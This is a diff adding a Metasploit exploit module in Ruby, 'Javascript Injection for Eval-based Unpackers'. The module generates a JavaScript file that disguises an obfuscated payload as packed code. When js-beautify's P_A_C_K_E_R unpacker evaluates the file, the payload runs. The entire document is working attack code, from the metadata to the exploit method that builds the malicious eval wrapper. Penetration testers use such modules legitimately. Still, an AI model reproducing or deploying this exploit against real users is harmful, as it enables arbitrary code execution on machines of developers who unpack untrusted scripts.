|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/jsobfu' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::FILEFORMAT |
| 13 | + include Msf::Exploit::JSObfu |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Javascript Injection for Eval-based Unpackers', |
| 18 | + 'Description' => %q{ |
| 19 | + This module generates a Javascript file that executes arbitrary code |
| 20 | + when an eval-based unpacker is run on it. Works against js-beautify's |
| 21 | + P_A_C_K_E_R unpacker. |
| 22 | + }, |
| 23 | + 'Author' => [ 'joev' ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ], |
| 28 | + 'Platform' => 'nodejs', |
| 29 | + 'Arch' => ARCH_NODEJS, |
| 30 | + 'Privileged' => false, |
| 31 | + 'Targets' => [['Automatic', {}]], |
| 32 | + 'DisclosureDate' => 'Feb 18 2015', |
| 33 | + 'DefaultTarget' => 0)) |
| 34 | + |
| 35 | + register_options([ |
| 36 | + OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), |
| 37 | + OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) |
| 38 | + ], self.class) |
| 39 | + end |
| 40 | + |
| 41 | + def exploit |
| 42 | + p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded); |
| 43 | + print_status("Creating '#{datastore['FILENAME']}' file...") |
| 44 | + file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") |
| 45 | + end |
| 46 | + |
| 47 | +end |
0 commit comments